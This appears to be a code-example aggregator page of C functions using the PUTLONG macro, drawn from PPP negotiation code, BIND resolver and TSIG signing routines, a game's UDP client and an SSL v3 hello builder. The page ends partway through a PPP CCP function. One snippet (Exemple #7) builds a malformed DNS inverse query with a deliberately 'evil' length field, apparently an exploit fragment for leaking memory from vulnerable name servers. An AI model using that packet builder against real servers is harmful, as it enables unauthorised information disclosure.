Exemple #1
0
static void
lcp_timeout(void *ctx)
{
	lcp *_this;
	u_char *cp, buf[32];

	_this = ctx;
	if (_this->echo_failures >= _this->echo_max_retries) {
		fsm_log(&_this->fsm, LOG_NOTICE, "keepalive failure.");
		if (_this->fsm.ppp != NULL) {
#ifdef USE_NPPPD_RADIUS
			ppp_set_radius_terminate_cause(_this->fsm.ppp,
			    RADIUS_TERMNATE_CAUSE_IDLE_TIMEOUT);
#endif
			ppp_stop(_this->fsm.ppp, NULL);
		}
		return;
	}
	cp = buf;
	PUTLONG(_this->magic_number, cp);
	fsm_sdata(&_this->fsm, ECHOREQ, _this->fsm.id++, buf, 4);
	_this->echo_failures++;

	lcp_reset_timeout(_this);
}
Exemple #2
0
/*
 * lcp_extcode - Handle a LCP-specific code.
 */
static int
lcp_extcode(
    fsm *f,
    int code, int id,
    u_char *inp,
    int len)
{
    u_char *magp;

    switch( code ){
    case PROTREJ:
	lcp_rprotrej(f, inp, len);
	break;

    case ECHOREQ:
	if (f->state != OPENED)
	    break;
	magp = inp;
	PUTLONG(lcp_gotoptions[f->unit].magicnumber, magp);
	fsm_sdata(f, ECHOREP, id, inp, len);
	break;

    case ECHOREP:
	lcp_received_echo_reply(f, id, inp, len);
	break;

    case DISCREQ:
	break;

    default:
	return 0;
    }
    return 1;
}
int send_hello()
{
int len;
char *p = buf;
	*p++ = 22;				/* Handshake */
	PUTSHORT(0x0300, p);	/* SSL v3 */
	PUTSHORT(85, p);		/* Length will be 85 bytes */
	
	*p++ = 1;				/* Client hello */

	*p++ = 0;				/* Length: */
	PUTSHORT(81, p);		/* 81 bytes */

	PUTSHORT(0x0300, p);	/* SSL v3 */
	PUTLONG(0xffffffff, p);	/* Random.gmt_unix_time */

	/* Now 28 bytes of random data... (7x4bytes=28) */
	PUTLONG(0x11223344, p);
	PUTLONG(0x11223344, p);
	PUTLONG(0x11223344, p);
	PUTLONG(0x11223344, p);
	PUTLONG(0x11223344, p);
	PUTLONG(0x11223344, p);
	PUTLONG(0x11223344, p);

	*p++ = 0;				/* Session ID 0 */
	
	PUTSHORT(42, p);		/* Cipher Suites Length */
	PUTSHORT(0x16, p);
	PUTSHORT(0x13, p);
	PUTSHORT(0x0a, p);
	PUTSHORT(0x66, p);
	PUTSHORT(0x07, p);
	PUTSHORT(0x05, p);
	PUTSHORT(0x04, p);
	PUTSHORT(0x65, p);
	PUTSHORT(0x64, p);
	PUTSHORT(0x63, p);
	PUTSHORT(0x62, p);
	PUTSHORT(0x61, p);
	PUTSHORT(0x60, p);
	PUTSHORT(0x15, p);
	PUTSHORT(0x12, p);
	PUTSHORT(0x09, p);
	PUTSHORT(0x14, p);
	PUTSHORT(0x11, p);
	PUTSHORT(0x08, p);
	PUTSHORT(0x06, p);
	PUTSHORT(0x03, p);

	*p++ = 1;				/* Compresion method length: 1 */
	*p++ = 0;				/* (null) */

	len = p - buf;
	return len;
}
Exemple #4
0
/** Create a Confugre-Request */
static void
ccp_addci(fsm *f, u_char *pktp, int *lpktp)
{
	u_char *pktp0;

	pktp0 = pktp;

	if (f->ppp->ccp.mppe_rej == 0) {
		PUTCHAR(CCP_MPPE, pktp);
		PUTCHAR(6, pktp);
		PUTLONG(f->ppp->ccp.mppe_o_bits, pktp);

		*lpktp = pktp - pktp0;
	} else
		*lpktp = 0;
}
Exemple #5
0
/**
 * making ConfReq.
 */
static void
lcp_addci(fsm *f, u_char *ucp, int *lenp)
{
	lcp *_this;
	u_char *start_ucp = ucp;

	LCP_ASSERT(f != NULL);

	_this = &f->ppp->lcp;
	if (!psm_opt_is_rejected(_this, mru)) {
		PUTCHAR(PPP_LCP_MRU, ucp);
		PUTCHAR(4, ucp);

		if (_this->xxxmru > 0) {	/* this value is got by Nak. */
			PUTSHORT(_this->xxxmru, ucp);
		} else {
			PUTSHORT(f->ppp->mru, ucp);
		}
		psm_opt_set_requested(_this, mru, 1);
	}
	if (f->ppp->has_acf == 1) {
		if (!psm_opt_is_rejected(_this, pfc)) {
			PUTCHAR(PPP_LCP_PFC, ucp);
			PUTCHAR(2, ucp);
			psm_opt_set_requested(_this, pfc, 1);
		}
		if (!psm_opt_is_rejected(_this, acfc)) {
			PUTCHAR(PPP_LCP_ACFC, ucp);
			PUTCHAR(2, ucp);
			psm_opt_set_requested(_this, acfc, 1);
		}
	}
	PUTCHAR(PPP_LCP_MAGICNUMBER, ucp);
	PUTCHAR(6, ucp);
	PUTLONG(_this->magic_number, ucp);

	if (f->ppp->peer_auth != 0) {
		_this->auth_order[0] = f->ppp->peer_auth;
		_this->auth_order[1] = -1;
	} else if (_this->auth_order[0] < 0) {
		lcp_load_authconfig(f);
	}

	lcp_add_auth(f, &ucp);
	*lenp = ucp - start_ucp;
}
void
csendreliable (unsigned char *message, int size)
{
  if (size == 0)
    return;
  if (rposition + size + 6 > BUFFERSIZE)
    {
      printf ("Connection to server broken too long! Reliable buffer owerfllow\n"
	      "Game aborted\n");
      exit (-1);
    }
  PUTLONG ((rbuffer + rposition), rcount);
  rcount++;
  PUTSHORT ((rbuffer + rposition + 4), (size + 6));
  memcpy (rbuffer + rposition + 6, message, size);
  rposition += size + 6;
  timeout = 1;
}
Exemple #7
0
int infoleak_qry(char* buff)
{
        HEADER* hdr;
        int n, k;
        char* ptr;
        int qry_space = 12;
        int dummy_names = 7;
        int evil_size = 0xff;

        memset(buff, 0, BUFFSIZE);
        hdr = (HEADER*)buff;

        hdr->id = htons(0xbeef);
        hdr->opcode  = IQUERY;
        hdr->rd      = 1;
        hdr->ra      = 1;
        hdr->qdcount = htons(0);
        hdr->nscount = htons(0);
        hdr->ancount = htons(1);
        hdr->arcount = htons(0);


	ptr = buff + sizeof(HEADER);
	printf("[d] HEADER is %d long\n", sizeof(HEADER));
	
	n = 62;

	for(k=0; k < dummy_names; k++)
	{
		*ptr++ = n;
		ptr += n;
	}
	ptr += 1;

        PUTSHORT(1/*ns_t_a*/, ptr);              /* type */
        PUTSHORT(T_A, ptr);                      /* class */
        PUTLONG(1, ptr);                		/* ttl */

	PUTSHORT(evil_size, ptr);			/* our *evil* size */
	
	return(ptr - buff + qry_space);
	
}
Exemple #8
0
static int
lcp_rechoreq(fsm *f, int id, u_char *inp, int inlen)
{
	u_char *inp0;
	lcp *_this;
	int len;

	if (inlen < 4)
		return 0;

	_this = &f->ppp->lcp;
	inp0 = inp;
	PUTLONG(_this->magic_number, inp)

	len = MIN(inlen, f->ppp->peer_mru - 8);
	fsm_sdata(f, ECHOREP, id, inp0, len);

	return 1;
}
void
csendbuffer ()
{
  int             result;
  if (timeout)
    {
      timeout--;
      if (!timeout)
	{
	  cflushreliable ();
	  timeout = WAITTIME;
	}
    }
  if (!obufferpos)
    return;
  PUTLONG ((obuffer), rpos);
  falied = 0;
  GetSocketError (sock);
  /*if (!(rand()%2)) *//*Emulate internet :)))))) */
  if ((result = DgramSend (sock, servername, port,
			   (char *) obuffer, obufferpos + 4)) <= 0)
    {
      if (errno == EAGAIN || errno == EWOULDBLOCK || result >= 0)
	{
	  GetSocketError (sock);
	  falied = 1;
	  if (timeout == WAITTIME)
	    timeout = 1;
	}
      else
	{
	  perror ("Can't send message to server\n");
	  SocketClose (socket_c);
	  SocketClose (sock);
	  exit(-1);
	}
    }
  obufferpos = 0;
}
int
init_client (void)
{
  long            bytes, pport;
  int             gx, gy;
  int             retries = 0;
/*Open server socket */
  printf ("Opening server socket\n");
  if ((socket_c = CreateDgramSocket (0)) == -1)
    {
      error ("Could not create connection socket");
      SocketClose (socket_c);
      exit (-1);
    }
  strcpy(hostname,GetSockAddr(socket_c));
/*Create connection message */
  strcpy ((char *) buffer, "Koules");
  PUTCHAR (buffer + 7, VERSION);
  PUTSHORT (buffer + 8, GAMEWIDTH);
  PUTSHORT (buffer + 10, GAMEHEIGHT);
  PUTLONG (buffer + 12, (long) getpid ());
  printf ("Asking server at %s port %i\n", servername, initport);
#if 0
  if (DgramConnect (socket_c, servername, initport) == -1)
    {
      perror ("Connection error");
      error ("Can't connect to server %s on port %d", servername, port);
      close (socket_c);
      return -1;
    }
#endif
again:
  GetSocketError (socket_c);
  errno = 0;
  do
    {
      if (retries)
	sleep (1);
      retries++;
      if (retries > 100)
	printf (" Connection timed out\n"), exit (-1);
      if (errno)
	{
	  perror ("Can't receive reply");
	  exit (-1);
	}
      if (DgramSend (socket_c, servername, initport,
		     (char *) buffer, INITPACKETSIZE) == -1)
	{
	  SocketClose (socket_c);
	  perror ("Can't send message to server");
	  exit (-1);
	}
      if (errno)
	{
	  perror ("Can't send message to server");
	  /*exit (-1); */
	  GetSocketError (socket_c);
	  errno = 0;
	}
      SetTimeout (1, 10 * 1000);
    }
  while (!(SocketReadable (socket_c)));
  bytes = DgramReceiveAny (socket_c, (char *) buffer, BUFFERSIZE);
  if (bytes != REPLYSIZE)
    goto again;
  SocketClose (socket_c);
  GETLONG (buffer, port);
  if (port == 0)
    {
      printf ("Server refused me! (too many players or incompatible screen size)\n"
	      "Try -W server's option is you are using 320x200 clients..\n");
      exit (-1);
    }
  GETSHORT ((buffer + 4), gx);
  GETSHORT ((buffer + 6), gy);

  printf ("YYYYAAAAAAA Server replied.\n"
	  "Opening port %i\n", port);
  if ((sock = CreateDgramSocket (0)) == -1)
    {
      error ("Can't create datagram socket");
      return -1;
    }
  SetTimeout (1, 10 * 1000);

  /*if (DgramConnect (sock, servername, port) == -1)
     {
     error ("Can't connect to server %s on port %d", servername, port);
     close (sock);
     return -1;
     } */
  if (SetSocketNonBlocking (sock, 1) == -1)
    {
      error ("Can't make socket non-blocking");
      return -1;
    }
  printf ("Sending initialization message\n");
  pport = GetPortNum (sock);
  if (gx / DIV > GAMEWIDTH || gy / DIV > GAMEHEIGHT)
    {
      printf ("Server's gamepool too large\n"
	      "Try -W on server's command line\n");

      PUTLONG (buffer, 0);
      if (DgramSend (sock, servername, port,
		     (char *) buffer, 4) == -1)
	close (sock);
      exit (-1);
    }
  else
    GAMEWIDTH = gx, GAMEHEIGHT = gy;
  PUTHEAD (SINIT);
  PUTLONG (buffer + HEADSIZE, pport);
  if (SetSocketReceiveBufferSize (sock, NETBUFFER) == -1)
    {
      error ("Can't set socket buffer size");
      return -1;
    }
  if (SetSocketSendBufferSize (sock, NETBUFFER) == -1)
    {
      error ("Can't set socket buffer size");
      return -1;
    }
  GetSocketError (sock);
  csendreliable (buffer, 4 + HEADSIZE);
  csendbuffer ();
  csendbuffer ();
  csendbuffer ();
  printf ("Starting game...\n");
  return (0);
}
int mesg_write_rrset_list (G_List *rrls, u_char *msg, u_char *msg_tail,
			   uint16_t *dnames, int dnames_len, u_char **wp,
			   uint16_t *cnt) {
	char *fn = "mesg_write_rrset_list()";
	u_char *wp_start, *wp_period;
	Mesg_Hdr *hdr;
	uint16_t us;
	uint32_t ul;
	RRset *rrsp;
	RR *rrp;
	int i, ret;

	if (T.debug > 4)
		syslog (LOG_DEBUG, "%s: start.", fn);

	if (!rrls)
		return 0;

	wp_start = *wp;
	hdr = (Mesg_Hdr *) msg;

	for (rrls = rrls->next; rrls->list_data; rrls = rrls->next) {
		if (T.debug > 4)
			syslog (LOG_DEBUG, "%s: write a record", fn);

		rrsp = (RRset *) rrls->list_data;
		for (i = 0; i < rrsp->data.d->data_cnt; i++) {
			wp_period = *wp;

			/* write the owner name */
			ret = write_dname (msg, msg_tail, dnames,
				dnames_len, rrset_owner (rrsp), *wp);
			if (ret < 0) {
				syslog (LOG_DEBUG, "write ownername failed");
				*wp = wp_period;
				return wp_period - wp_start;
			}
			*wp += ret;

			/* write RR field and data */
			rrp = (RR *) (rrsp->data.p +
				      data_offset (i, rrsp->data.p));
			if (*wp + sizeof (uint16_t) * 3 + sizeof (uint32_t)
			    + rrp->rd_len > msg_tail) {
				syslog (LOG_DEBUG, "write rdata failed");
				*wp = wp_period;
				return wp_period - wp_start;
			}

			PUTSHORT (rrsp->key.info->r_type, *wp);
			PUTSHORT (rrsp->key.info->r_class, *wp);
			ul = rrp->ttl;
			PUTLONG (ul, *wp);

			/* XXX RDATA COMPRESSION NOT IMPLEMENTED */
			PUTSHORT (rrp->rd_len, *wp);
			memcpy (*wp, rr_rdata (rrp), rrp->rd_len);
			*wp += rrp->rd_len;

			/* update header */
			us = ntohs (*cnt) + 1;
			/* and caller's counter */
			*cnt = htons (us);

			if (T.debug > 4)
				syslog (LOG_DEBUG, "%s: now counter = %d",
					fn, us);
		}
	}

	if (T.debug > 4)
		syslog (LOG_DEBUG, "%s: return %d", fn,(int)(*wp - wp_start));

	return (*wp - wp_start);
}
Exemple #12
0
isc_result_t
ns_verify_tcp(u_char *msg, unsigned *msglen, ns_tcp_tsig_state *state,
	      int required)
{
	HEADER *hp = (HEADER *)msg;
	u_char *recstart, *rdatastart, *sigstart;
	unsigned sigfieldlen, otherfieldlen;
	u_char *cp, *eom = msg + *msglen, *cp2;
	char name[MAXDNAME], alg[MAXDNAME];
	u_char buf[MAXDNAME];
	int n, type, length, fudge, id, error;
	time_t timesigned;

	if (msg == NULL || msglen == NULL || state == NULL)
		return ISC_R_INVALIDARG;

	state->counter++;
	if (state->counter == 0)
		return (ns_verify(msg, msglen, state->key,
				  state->sig, state->siglen,
				  state->sig, &state->siglen, &timesigned, 0));

	if (state->siglen > 0) {
		u_int16_t siglen_n = htons(state->siglen);

		dst_verify_data(SIG_MODE_INIT, state->key, &state->ctx,
				NULL, 0, NULL, 0);
		dst_verify_data(SIG_MODE_UPDATE, state->key, &state->ctx,
				(u_char *)&siglen_n, INT16SZ, NULL, 0);
		dst_verify_data(SIG_MODE_UPDATE, state->key, &state->ctx,
				state->sig, state->siglen, NULL, 0);
		state->siglen = 0;
	}

	cp = recstart = ns_find_tsig(msg, eom);

	if (recstart == NULL) {
		if (required)
			return ISC_R_NO_TSIG;
		dst_verify_data(SIG_MODE_UPDATE, state->key, &state->ctx,
				msg, *msglen, NULL, 0);
		return ISC_R_SUCCESS;
	}

	hp->arcount = htons(ntohs(hp->arcount) - 1);
	dst_verify_data(SIG_MODE_UPDATE, state->key, &state->ctx,
			msg, (unsigned)(recstart - msg), NULL, 0);
	
	/* Read the key name. */
	n = dn_expand(msg, eom, cp, name, MAXDNAME);
	if (n < 0)
		return ISC_R_FORMERR;
	cp += n;

	/* Read the type. */
	BOUNDS_CHECK(cp, 2*INT16SZ + INT32SZ + INT16SZ);
	GETSHORT(type, cp);
	if (type != ns_t_tsig)
		return ISC_R_NO_TSIG;

	/* Skip the class and TTL, save the length. */
	cp += INT16SZ + INT32SZ;
	GETSHORT(length, cp);
	if (eom - cp != length)
		return ISC_R_FORMERR;

	/* Read the algorithm name. */
	rdatastart = cp;
	n = dn_expand(msg, eom, cp, alg, MAXDNAME);
	if (n < 0)
		return ISC_R_FORMERR;
	if (ns_samename(alg, NS_TSIG_ALG_HMAC_MD5) != 1)
		return ISC_R_BADKEY;
	cp += n;

	/* Verify that the key used is OK. */
	if ((ns_samename(state->key->dk_key_name, name) != 1 ||
	     state->key->dk_alg != KEY_HMAC_MD5))
		return ISC_R_BADKEY;

	/* Read the time signed and fudge. */
	BOUNDS_CHECK(cp, INT16SZ + INT32SZ + INT16SZ);
	cp += INT16SZ;
	GETLONG(timesigned, cp);
	GETSHORT(fudge, cp);

	/* Read the signature. */
	BOUNDS_CHECK(cp, INT16SZ);
	GETSHORT(sigfieldlen, cp);
	BOUNDS_CHECK(cp, sigfieldlen);
	sigstart = cp;
	cp += sigfieldlen;

	/* Read the original id and error. */
	BOUNDS_CHECK(cp, 2*INT16SZ);
	GETSHORT(id, cp);
	GETSHORT(error, cp);

	/* Parse the other data. */
	BOUNDS_CHECK(cp, INT16SZ);
	GETSHORT(otherfieldlen, cp);
	BOUNDS_CHECK(cp, otherfieldlen);
	cp += otherfieldlen;

	if (cp != eom)
		return ISC_R_FORMERR;

	/*
	 * Do the verification.
	 */

	/* Digest the time signed and fudge. */
	cp2 = buf;
	PUTSHORT(0, cp2);       /* Top 16 bits of time. */
	PUTLONG(timesigned, cp2);
	PUTSHORT(NS_TSIG_FUDGE, cp2);

	dst_verify_data(SIG_MODE_UPDATE, state->key, &state->ctx,
			buf, (unsigned)(cp2 - buf), NULL, 0);

	n = dst_verify_data(SIG_MODE_FINAL, state->key, &state->ctx, NULL, 0,
			    sigstart, sigfieldlen);
	if (n < 0)
		return ISC_R_BADSIG;

	if (sigfieldlen > sizeof(state->sig))
		return ISC_R_BADSIG;

	if (sigfieldlen > sizeof(state->sig))
		return ISC_R_NOSPACE;

	memcpy(state->sig, sigstart, sigfieldlen);
	state->siglen = sigfieldlen;

	/* Verify the time. */
	if (abs(timesigned - time(NULL)) > fudge)
		return ISC_R_BADTIME;

	*msglen = recstart - msg;

	if (error != NOERROR)
		return ns_rcode_to_isc (error);

	return ISC_R_SUCCESS;
}
/*
 * Form update packets.
 * Returns the size of the resulting packet if no error
 * On error,
 *	returns -1 if error in reading a word/number in rdata
 *		   portion for update packets
 *		-2 if length of buffer passed is insufficient
 *		-3 if zone section is not the first section in
 *		   the linked list, or section order has a problem
 *		-4 on a number overflow
 *		-5 unknown operation or no records
 */
int
res_mkupdate(ns_updrec *rrecp_in, u_char *buf, int buflen) {
	ns_updrec *rrecp_start = rrecp_in;
	HEADER *hp;
	u_char *cp, *sp1, *sp2, *startp, *endp;
	int n, i, soanum, multiline;
	ns_updrec *rrecp;
	struct in_addr ina;
        char buf2[MAXDNAME];
	int section, numrrs = 0, counts[ns_s_max];
	u_int16_t rtype, rclass;
	u_int32_t n1, rttl;
	u_char *dnptrs[20], **dpp, **lastdnptr;

	if ((_res.options & RES_INIT) == 0 && res_init() == -1) {
		h_errno = NETDB_INTERNAL;
		return (-1);
	}

	/*
	 * Initialize header fields.
	 */
	if ((buf == NULL) || (buflen < HFIXEDSZ))
		return (-1);
	memset(buf, 0, HFIXEDSZ);
	hp = (HEADER *) buf;
	hp->id = htons(++_res.id);
	hp->opcode = ns_o_update;
	hp->rcode = NOERROR;
	sp1 = buf + 2*INT16SZ;  /* save pointer to zocount */
	cp = buf + HFIXEDSZ;
	buflen -= HFIXEDSZ;
	dpp = dnptrs;
	*dpp++ = buf;
	*dpp++ = NULL;
	lastdnptr = dnptrs + sizeof dnptrs / sizeof dnptrs[0];

	if (rrecp_start == NULL)
		return (-5);
	else if (rrecp_start->r_section != S_ZONE)
		return (-3);

	memset(counts, 0, sizeof counts);
	for (rrecp = rrecp_start; rrecp; rrecp = rrecp->r_grpnext) {
		numrrs++;
                section = rrecp->r_section;
		if (section < 0 || section >= ns_s_max)
			return (-1);
		counts[section]++;
		for (i = section + 1; i < ns_s_max; i++)
			if (counts[i])
				return (-3);
		rtype = rrecp->r_type;
		rclass = rrecp->r_class;
		rttl = rrecp->r_ttl;
		/* overload class and type */
		if (section == S_PREREQ) {
			rttl = 0;
			switch (rrecp->r_opcode) {
			case YXDOMAIN:
				rclass = C_ANY;
				rtype = T_ANY;
				rrecp->r_size = 0;
				break;
			case NXDOMAIN:
				rclass = C_NONE;
				rtype = T_ANY;
				rrecp->r_size = 0;
				break;
			case NXRRSET:
				rclass = C_NONE;
				rrecp->r_size = 0;
				break;
			case YXRRSET:
				if (rrecp->r_size == 0)
					rclass = C_ANY;
				break;
			default:
				fprintf(stderr,
					"res_mkupdate: incorrect opcode: %d\n",
					rrecp->r_opcode);
				fflush(stderr);
				return (-1);
			}
		} else if (section == S_UPDATE) {
			switch (rrecp->r_opcode) {
			case DELETE:
				rclass = rrecp->r_size == 0 ? C_ANY : C_NONE;
				break;
			case ADD:
				break;
			default:
				fprintf(stderr,
					"res_mkupdate: incorrect opcode: %d\n",
					rrecp->r_opcode);
				fflush(stderr);
				return (-1);
			}
		}

		/*
		 * XXX	appending default domain to owner name is omitted,
		 *	fqdn must be provided
		 */
		if ((n = dn_comp(rrecp->r_dname, cp, buflen, dnptrs,
				 lastdnptr)) < 0)
			return (-1);
		cp += n;
		ShrinkBuffer(n + 2*INT16SZ);
		PUTSHORT(rtype, cp);
		PUTSHORT(rclass, cp);
		if (section == S_ZONE) {
			if (numrrs != 1 || rrecp->r_type != T_SOA)
				return (-3);
			continue;
		}
		ShrinkBuffer(INT32SZ + INT16SZ);
		PUTLONG(rttl, cp);
		sp2 = cp;  /* save pointer to length byte */
		cp += INT16SZ;
		if (rrecp->r_size == 0) {
			if (section == S_UPDATE && rclass != C_ANY)
				return (-1);
			else {
				PUTSHORT(0, sp2);
				continue;
			}
		}
		startp = rrecp->r_data;
		endp = startp + rrecp->r_size - 1;
		/* XXX this should be done centrally. */
		switch (rrecp->r_type) {
		case T_A:
			if (!getword_str(buf2, sizeof buf2, &startp, endp))
				return (-1);
			if (!inet_aton(buf2, &ina))
				return (-1);
			n1 = ntohl(ina.s_addr);
			ShrinkBuffer(INT32SZ);
			PUTLONG(n1, cp);
			break;
		case T_CNAME:
		case T_MB:
		case T_MG:
		case T_MR:
		case T_NS:
		case T_PTR:
			if (!getword_str(buf2, sizeof buf2, &startp, endp))
				return (-1);
			n = dn_comp(buf2, cp, buflen, dnptrs, lastdnptr);
			if (n < 0)
				return (-1);
			cp += n;
			ShrinkBuffer(n);
			break;
		case T_MINFO:
		case T_SOA:
		case T_RP:
			for (i = 0; i < 2; i++) {
				if (!getword_str(buf2, sizeof buf2, &startp,
						 endp))
				return (-1);
				n = dn_comp(buf2, cp, buflen,
					    dnptrs, lastdnptr);
				if (n < 0)
					return (-1);
				cp += n;
				ShrinkBuffer(n);
			}
			if (rrecp->r_type == T_SOA) {
				ShrinkBuffer(5 * INT32SZ);
				while (isspace(*startp) || !*startp)
					startp++;
				if (*startp == '(') {
					multiline = 1;
					startp++;
				} else
					multiline = 0;
				/* serial, refresh, retry, expire, minimum */
				for (i = 0; i < 5; i++) {
					soanum = getnum_str(&startp, endp);
					if (soanum < 0)
						return (-1);
					PUTLONG(soanum, cp);
				}
				if (multiline) {
					while (isspace(*startp) || !*startp)
						startp++;
					if (*startp != ')')
						return (-1);
				}
			}
			break;
		case T_MX:
		case T_AFSDB:
		case T_RT:
			n = getnum_str(&startp, endp);
			if (n < 0)
				return (-1);
			PUTSHORT(n, cp);
			ShrinkBuffer(INT16SZ);
			if (!getword_str(buf2, sizeof buf2, &startp, endp))
				return (-1);
			n = dn_comp(buf2, cp, buflen, dnptrs, lastdnptr);
			if (n < 0)
				return (-1);
			cp += n;
			ShrinkBuffer(n);
			break;
		case T_PX:
			n = getnum_str(&startp, endp);
			if (n < 0)
				return (-1);
			PUTSHORT(n, cp);
			ShrinkBuffer(INT16SZ);
			for (i = 0; i < 2; i++) {
				if (!getword_str(buf2, sizeof buf2, &startp,
						 endp))
					return (-1);
				n = dn_comp(buf2, cp, buflen, dnptrs,
					    lastdnptr);
				if (n < 0)
					return (-1);
				cp += n;
				ShrinkBuffer(n);
			}
			break;
		case T_WKS:
		case T_HINFO:
		case T_TXT:
		case T_X25:
		case T_ISDN:
		case T_NSAP:
		case T_LOC:
			/* XXX - more fine tuning needed here */
			ShrinkBuffer(rrecp->r_size);
			memcpy(cp, rrecp->r_data, rrecp->r_size);
			cp += rrecp->r_size;
			break;
		default:
			return (-1);
		} /*switch*/
		n = (u_int16_t)((cp - sp2) - INT16SZ);
		PUTSHORT(n, sp2);
	} /*for*/
		
	hp->qdcount = htons(counts[0]);
	hp->ancount = htons(counts[1]);
	hp->nscount = htons(counts[2]);
	hp->arcount = htons(counts[3]);
	return (cp - buf);
}
Exemple #14
0
/* ns_sign
 * Parameters:
 *	msg		message to be sent
 *	msglen		input - length of message
 *			output - length of signed message
 *	msgsize		length of buffer containing message
 *	error		value to put in the error field
 *	key		tsig key used for signing
 *	querysig	(response), the signature in the query
 *	querysiglen	(response), the length of the signature in the query
 *	sig		a buffer to hold the generated signature
 *	siglen		input - length of signature buffer
 *			output - length of signature
 *
 * Errors:
 *	- bad input data (-1)
 *	- bad key / sign failed (-BADKEY)
 *	- not enough space (NS_TSIG_ERROR_NO_SPACE)
 */
isc_result_t
ns_sign(u_char *msg, unsigned *msglen, unsigned msgsize, int error, void *k,
	const u_char *querysig, unsigned querysiglen, u_char *sig,
	unsigned *siglen, time_t in_timesigned)
{
	HEADER *hp = (HEADER *)msg;
	DST_KEY *key = (DST_KEY *)k;
	if(msglen == NULL){
		return ISC_R_INVALIDARG;
	}
	u_char *cp = msg + *msglen, *eob = msg + msgsize;	
	u_char *lenp;
	u_char *name, *alg;
	unsigned n;
	time_t timesigned;

	dst_init();
	if (msg == NULL || msglen == NULL || sig == NULL || siglen == NULL)
		return ISC_R_INVALIDARG;

	/* Name. */
	if (key != NULL && error != ns_r_badsig && error != ns_r_badkey)
		n = dn_comp(key->dk_key_name,
			    cp, (unsigned)(eob - cp), NULL, NULL);
	else
		n = dn_comp("", cp, (unsigned)(eob - cp), NULL, NULL);
	name = cp;
	cp += n;

	/* Type, class, ttl, length (not filled in yet). */
	BOUNDS_CHECK(cp, INT16SZ + INT16SZ + INT32SZ + INT16SZ);
	PUTSHORT(ns_t_tsig, cp);
	PUTSHORT(ns_c_any, cp);
	PUTLONG(0, cp);		/* TTL */
	lenp = cp;
	cp += 2;

	/* Alg. */
	if (key != NULL && error != ns_r_badsig && error != ns_r_badkey) {
		if (key->dk_alg != KEY_HMAC_MD5)
			return ISC_R_BADKEY;
		n = dn_comp(NS_TSIG_ALG_HMAC_MD5,
			    cp, (unsigned)(eob - cp), NULL, NULL);
	}
	else
		n = dn_comp("", cp, (unsigned)(eob - cp), NULL, NULL);
	if (n < 0)
		return ISC_R_NOSPACE;
	alg = cp;
	cp += n;
	
	/* Time. */
	BOUNDS_CHECK(cp, INT16SZ + INT32SZ + INT16SZ);
	PUTSHORT(0, cp);
	timesigned = time(NULL);
	if (error != ns_r_badtime)
		PUTLONG(timesigned, cp);
	else
		PUTLONG(in_timesigned, cp);
	PUTSHORT(NS_TSIG_FUDGE, cp);

	/* Compute the signature. */
	if (key != NULL && error != ns_r_badsig && error != ns_r_badkey) {
		void *ctx;
		u_char buf[MAXDNAME], *cp2;
		unsigned n;

		dst_sign_data(SIG_MODE_INIT, key, &ctx, NULL, 0, NULL, 0);

		/* Digest the query signature, if this is a response. */
		if (querysiglen > 0 && querysig != NULL) {
			u_int16_t len_n = htons(querysiglen);
			dst_sign_data(SIG_MODE_UPDATE, key, &ctx,
				      (u_char *)&len_n, INT16SZ, NULL, 0);
			dst_sign_data(SIG_MODE_UPDATE, key, &ctx,
				      querysig, querysiglen, NULL, 0);
		}

		/* Digest the message. */
		dst_sign_data(SIG_MODE_UPDATE, key, &ctx, msg, *msglen,
			      NULL, 0);

		/* Digest the key name. */
		n = ns_name_ntol(name, buf, sizeof(buf));
		dst_sign_data(SIG_MODE_UPDATE, key, &ctx, buf, n, NULL, 0);

		/* Digest the class and TTL. */
		cp2 = buf;
		PUTSHORT(ns_c_any, cp2);
		PUTLONG(0, cp2);
		dst_sign_data(SIG_MODE_UPDATE, key, &ctx,
			      buf, (unsigned)(cp2-buf), NULL, 0);

		/* Digest the algorithm. */
		n = ns_name_ntol(alg, buf, sizeof(buf));
		dst_sign_data(SIG_MODE_UPDATE, key, &ctx, buf, n, NULL, 0);

		/* Digest the time signed, fudge, error, and other data */
		cp2 = buf;
		PUTSHORT(0, cp2);	/* Top 16 bits of time */
		if (error != ns_r_badtime)
			PUTLONG(timesigned, cp2);
		else
			PUTLONG(in_timesigned, cp2);
		PUTSHORT(NS_TSIG_FUDGE, cp2);
		PUTSHORT(error, cp2);	/* Error */
		if (error != ns_r_badtime)
			PUTSHORT(0, cp2);	/* Other data length */
		else {
			PUTSHORT(INT16SZ+INT32SZ, cp2);	/* Other data length */
			PUTSHORT(0, cp2);	/* Top 16 bits of time */
			PUTLONG(timesigned, cp2);
		}
		dst_sign_data(SIG_MODE_UPDATE, key, &ctx,
			      buf, (unsigned)(cp2-buf), NULL, 0);

		n = dst_sign_data(SIG_MODE_FINAL, key, &ctx, NULL, 0,
				  sig, *siglen);
		if (n < 0)
			return ISC_R_BADKEY;
		*siglen = n;
	} else
		*siglen = 0;

	/* Add the signature. */
	BOUNDS_CHECK(cp, INT16SZ + (*siglen));
	PUTSHORT(*siglen, cp);
	if(*siglen>=0){
		memcpy(cp, sig, *siglen);
		cp += (*siglen);
	}
	/* The original message ID & error. */
	BOUNDS_CHECK(cp, INT16SZ + INT16SZ);
	PUTSHORT(ntohs(hp->id), cp);	/* already in network order */
	PUTSHORT(error, cp);

	/* Other data. */
	BOUNDS_CHECK(cp, INT16SZ);
	if (error != ns_r_badtime)
		PUTSHORT(0, cp);	/* Other data length */
	else {
		PUTSHORT(INT16SZ+INT32SZ, cp);	/* Other data length */
		BOUNDS_CHECK(cp, INT32SZ+INT16SZ);
		PUTSHORT(0, cp);	/* Top 16 bits of time */
		PUTLONG(timesigned, cp);
	}

	/* Go back and fill in the length. */
	PUTSHORT(cp - lenp - INT16SZ, lenp);

	hp->arcount = htons(ntohs(hp->arcount) + 1);
	*msglen = (cp - msg);
	return ISC_R_SUCCESS;
}
Exemple #15
0
/** Request Command Interpreter */
static int
ccp_reqci(fsm *f, u_char *pktp, int *lpktp, int reject_if_disagree)
{
	int type, len, rcode, lrej, lnak;
	u_char *rejbuf, *nakbuf, *nakbuf0, *pktp0;
#ifdef USE_NPPPD_MPPE
	uint32_t peer_bits, our_bits;
#endif
	npppd_ppp *ppp;

	ppp = f->ppp;

	rejbuf = NULL;
	rcode = CONFACK;
	pktp0 = pktp;
	lrej = 0;
	lnak = 0;

	if ((rejbuf = malloc(*lpktp)) == NULL) {
		return rcode;
	}
	if ((nakbuf0 = malloc(*lpktp)) == NULL) {
		free(rejbuf);
		return rcode;
	}
	nakbuf = nakbuf0;
#define	remlen()	(*lpktp - (pktp - pktp0))

